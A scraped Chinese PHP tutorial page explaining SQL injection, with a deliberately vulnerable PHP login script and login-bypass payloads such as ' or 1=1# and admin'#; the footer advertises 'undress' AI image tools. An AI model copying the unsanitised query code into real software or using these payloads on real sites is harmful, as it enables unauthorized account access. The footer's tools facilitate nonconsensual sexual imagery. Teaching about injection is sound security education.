Common SQL injection methods-Mysql Tutorial-php.cn

Home

Database

Mysql Tutorial

Common SQL injection methods

May 30, 2020 am 11:28 AM

sql injection

Common SQL injection methods

WEB Security SQL Injection

Introduction:

When developing a website, for security reasons, it is necessary to filter the characters passed from the page. Usually, users can call the content of the database through the following interfaces: URL address bar, login interface, message board, search box, etc. This often leaves opportunities for hackers to take advantage of. At worst, the data may be leaked, and at worst, the server may be taken down.

1. SQL injection steps

a) Find the injection point and construct a special statement

The controllable parameters of the incoming SQL statement are divided into two categories
1. For numeric types, parameters do not need to be enclosed in quotation marks, such as ?id=1
2. For other types, parameters must be enclosed in quotation marks, such as?name="phone"

b) The user constructs a SQL statement (such as: 'or 1=1#;admin'# (this injection is also called PHP's universal password, which can bypass entering the password when the user name is known). I will explain it later)

c) Send the SQL statement to the DBMS database

d) DBMS receives the returned result, interprets the request into machine code instructions, and performs the necessary operations

e) DBMS Accept the returned result, process it, and return it to the user

Because the user constructs a special SQL statement, special results must be returned (as long as your SQL statement is flexible enough)

Below, I pass a Examples to demonstrate SQL injection in detail
2. Detailed explanation of SQL injection examples (the above tests assume that magic_quote_gpc is not turned on on the server)

1) Preliminary preparations
Let’s demonstrate first SQL injection vulnerability, log in to the backend administrator interface
First, create a data table for testing:

CREATE TABLE `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(64) NOT NULL,
`password` varchar(64) NOT NULL,
`email` varchar(64) NOT NULL,PRIMARY KEY (`id`),UNIQUE KEY `username` (`username`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=latin1;

Copy after login

Add a record for testing:

1	`INSERT INTO users (username,password,email)VALUES('MarcoFly',md5('test'),'marcofly@test.com');`

Copy after login

Next, paste the login The source code of the interface

<html>
 <head> 
  <title>Sql注入演示</title> 
  <meta http-equiv="content-type" content="text/html;charset=utf-8" /> 
 </head> 
 <body> 
  <form action="validate.php" method="post"> 
   <fieldset> 
    <legend>Sql注入演示</legend> 
    <table> 
     <tbody>
      <tr> 
       <td>用户名：</td>
       <td><input type="text" name="username" /></td> 
      </tr> 
      <tr> 
       <td>密 码：</td>
       <td><input type="text" name="password" /></td> 
      </tr> 
      <tr> 
       <td><input type="submit" value="提交" /></td>
       <td><input type="reset" value="重置" /></td> 
      </tr> 
     </tbody>
    </table> 
   </fieldset> 
  </form>   
 </body>
</html>

Copy after login

Attached is the rendering:

Common SQL injection methods

When the user clicks the submit button, the form data will be submitted to the validate.php page , the validate.php page is used to determine whether the user name and password entered by the user meet the requirements (this step is very important, and is often the location of SQL vulnerabilities)

!                                         <!--前台和后台对接-->
<html>
<head>
<title>登录验证</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body>
<?php
$conn=@mysql_connect("localhost",&#39;root&#39;,&#39;&#39;) or die("数据库连接失败！");;
mysql_select_db("injection",$conn) or die("您要选择的数据库不存在");
$name=$_POST[&#39;username&#39;];
$pwd=$_POST[&#39;password&#39;];
$sql="select * from users where username=&#39;$name&#39; and password=&#39;$pwd&#39;";
$query=mysql_query($sql);
$arr=mysql_fetch_array($query);
if(is_array($arr)){
header("Location:manager.php");
}else{
echo "您的用户名或密码输入有误，<a href=\"Login.php\">请重新登录！</a>";
}
?>
</body>
</html>

Copy after login

Have you noticed it? We will submit the user directly. The data (user name and password) are directly executed, and special character filtering is not implemented. You will understand later that this is fatal.
Code analysis: If the username and password match successfully, it will jump to the administrator operation interface (manager.php). If it fails, a friendly prompt message will be given.
Successful login interface:

Common SQL injection methods

At this point, the preliminary work has been done Okay, next we will start our highlight: SQL injection

2) Construct SQL statement
After filling in the correct user name (marcofly) and password (test), click Submit, and it will be returned to Our "Welcome Administrator" interface.
Because the username and password we submitted are synthesized into the SQL query statement like this:

1	`select * from users where username='marcofly'` `and` `password=md5('test')`

Copy after login

Obviously, the username and password are the same as what we gave before , you will definitely be able to log in successfully. But what if we enter a wrong username or password? Obviously, I definitely can’t log in. Well, this is the case under normal circumstances, but for websites with SQL injection vulnerabilities, as long as a special "string" is constructed, you can still log in successfully.

For example: enter: ' or 1=1# in the user name input box, enter the password casually, the synthesized SQL query statement at this time is:

1	`select * from users where username=''` `or` `1=1#'` `and` `password=md5('')`

Copy after login

Semantic analysis: "#" is a comment character in mysql, so the content after the pound sign will be regarded as comment content by mysql, so it will not be executed. In other words, the following two sql statements, etc. Valence:

1	`select * from users where username=''` `or` `1=1#'` `and` `password=md5('')`

Copy after login

is equivalent to

1	`select* from users where usrername=''` `or` `1=1`

Copy after login

because 1=1 is always true, that is, the where clause is always true. After further simplifying the sql, etc. The value is the following select statement:

1	`select * from users`

Copy after login

Yes, the function of this sql statement is to retrieve all fields in the users table

The above is an input method, here is another one Injection method, this method is also called PHP's universal password

If we know the user name, we can log in without a password. Suppose the user name is: admin

Construct the statement:

1	`select * from users where username='admin'#'` `and` `password=md5('')`

Copy after login

is equivalent to

1	`select * from users where username='admin'`

Copy after login

so that you can log in without entering a password.

The database will mistakenly think that you can log in without a user name, bypassing the background verification and achieving the purpose of injection.

also exploits vulnerabilities in SQL syntax.

See, a constructed SQL statement can have such terrible destructive power. I believe that after seeing this, you will begin to have a rational understanding of SQL injection~
Yes, SQL injection It's that easy. However, it is not so easy to construct flexible SQL statements according to the actual situation. After you have the basics, you can slowly explore on your own.
Have you ever thought about what if the data submitted through the background login window are filtered out by the administrator with special characters? In this case, our universal username' or 1=1# cannot be used. But this does not mean that we have no countermeasures. We must know that there is more than one way for users to interact with the database.

Recommended: "mysql tutorial"

The above is the detailed content of Common SQL injection methods. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website

The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress images for free

Clothoff.io

AI clothes remover

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Assassin's Creed Shadows: Seashell Riddle Solution

3 weeks ago By DDD

What's New in Windows 11 KB5054979 & How to Fix Update Issues

2 weeks ago By DDD

Assassin's Creed Shadows - How To Find The Blacksmith And Unlock Weapon And Armour Customisation

1 months ago By DDD

Where to find the Crane Control Keycard in Atomfall

3 weeks ago By DDD

Roblox: Dead Rails - How To Complete Every Challenge

3 weeks ago By DDD

Hot Tools

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Hot Topics

Where is the login entrance for gmail email?

7648

CakePHP Tutorial

1392

What is the format of the account name of steam

win11 activation key permanent

nyt mini crossword answers

110

Related knowledge

Nginx basic security knowledge: preventing SQL injection attacks Jun 10, 2023 pm 12:31 PM

Nginx is a fast, high-performance, scalable web server, and its security is an issue that cannot be ignored in web application development. Especially SQL injection attacks, which can cause huge damage to web applications. In this article, we will discuss how to use Nginx to prevent SQL injection attacks to protect the security of web applications. What is a SQL injection attack? SQL injection attack is an attack method that exploits vulnerabilities in web applications. Attackers can inject malicious code into web applications

How to use exp for SQL error injection May 12, 2023 am 10:16 AM

0x01 Preface Overview The editor discovered another Double data overflow in MySQL. When we get the functions in MySQL, the editor is more interested in the mathematical functions. They should also contain some data types to save values. So the editor ran to test to see which functions would cause overflow errors. Then the editor discovered that when a value greater than 709 is passed, the function exp() will cause an overflow error. mysql>selectexp(709);+-----------------------+|exp(709)|+---------- ------------+|8.218407461554972

Laravel Development Notes: Methods and Techniques to Prevent SQL Injection Nov 22, 2023 pm 04:56 PM

Laravel Development Notes: Methods and Techniques to Prevent SQL Injection With the development of the Internet and the continuous advancement of computer technology, the development of web applications has become more and more common. During the development process, security has always been an important issue that developers cannot ignore. Among them, preventing SQL injection attacks is one of the security issues that requires special attention during the development process. This article will introduce several methods and techniques commonly used in Laravel development to help developers effectively prevent SQL injection. Using parameter binding Parameter binding is Lar

Detection and repair of PHP SQL injection vulnerabilities Aug 08, 2023 pm 02:04 PM

Overview of detection and repair of PHP SQL injection vulnerabilities: SQL injection refers to an attack method in which attackers use web applications to maliciously inject SQL code into the input. PHP, as a scripting language widely used in web development, is widely used to develop dynamic websites and applications. However, due to the flexibility and ease of use of PHP, developers often ignore security, resulting in the existence of SQL injection vulnerabilities. This article will introduce how to detect and fix SQL injection vulnerabilities in PHP and provide relevant code examples. check

PHP Programming Tips: How to Prevent SQL Injection Attacks Aug 17, 2023 pm 01:49 PM

PHP Programming Tips: How to Prevent SQL Injection Attacks Security is crucial when performing database operations. SQL injection attacks are a common network attack that exploit an application's improper handling of user input, resulting in malicious SQL code being inserted and executed. To protect our application from SQL injection attacks, we need to take some precautions. Use parameterized queries Parameterized queries are the most basic and most effective way to prevent SQL injection attacks. It works by comparing user-entered values with a SQL query

How to prevent SQL injection attacks using PHP Jun 24, 2023 am 10:31 AM

In the field of network security, SQL injection attacks are a common attack method. It exploits malicious code submitted by malicious users to alter the behavior of an application to perform unsafe operations. Common SQL injection attacks include query operations, insert operations, and delete operations. Among them, query operations are the most commonly attacked, and a common method to prevent SQL injection attacks is to use PHP. PHP is a commonly used server-side scripting language that is widely used in web applications. PHP can be related to MySQL etc.

PHP form filtering: SQL injection prevention and filtering Aug 07, 2023 pm 03:49 PM

PHP form filtering: SQL injection prevention and filtering Introduction: With the rapid development of the Internet, the development of Web applications has become more and more common. In web development, forms are one of the most common ways of user interaction. However, there are security risks in the processing of form submission data. Among them, one of the most common risks is SQL injection attacks. A SQL injection attack is an attack method that uses a web application to improperly process user input data, allowing the attacker to perform unauthorized database queries. The attacker passes the

Improve system security: MyBatis tips to prevent SQL injection attacks Feb 21, 2024 pm 09:12 PM

Improving system security: MyBatis tips for preventing SQL injection attacks With the continuous development of information technology, database applications have become an indispensable part of modern software systems. However, what follows is database security issues, the most common and serious of which is probably SQL injection attacks. SQL injection attacks refer to attackers inserting malicious SQL code into input fields to illegally obtain information in the database or destroy the integrity of the database. To protect against SQL

See all articles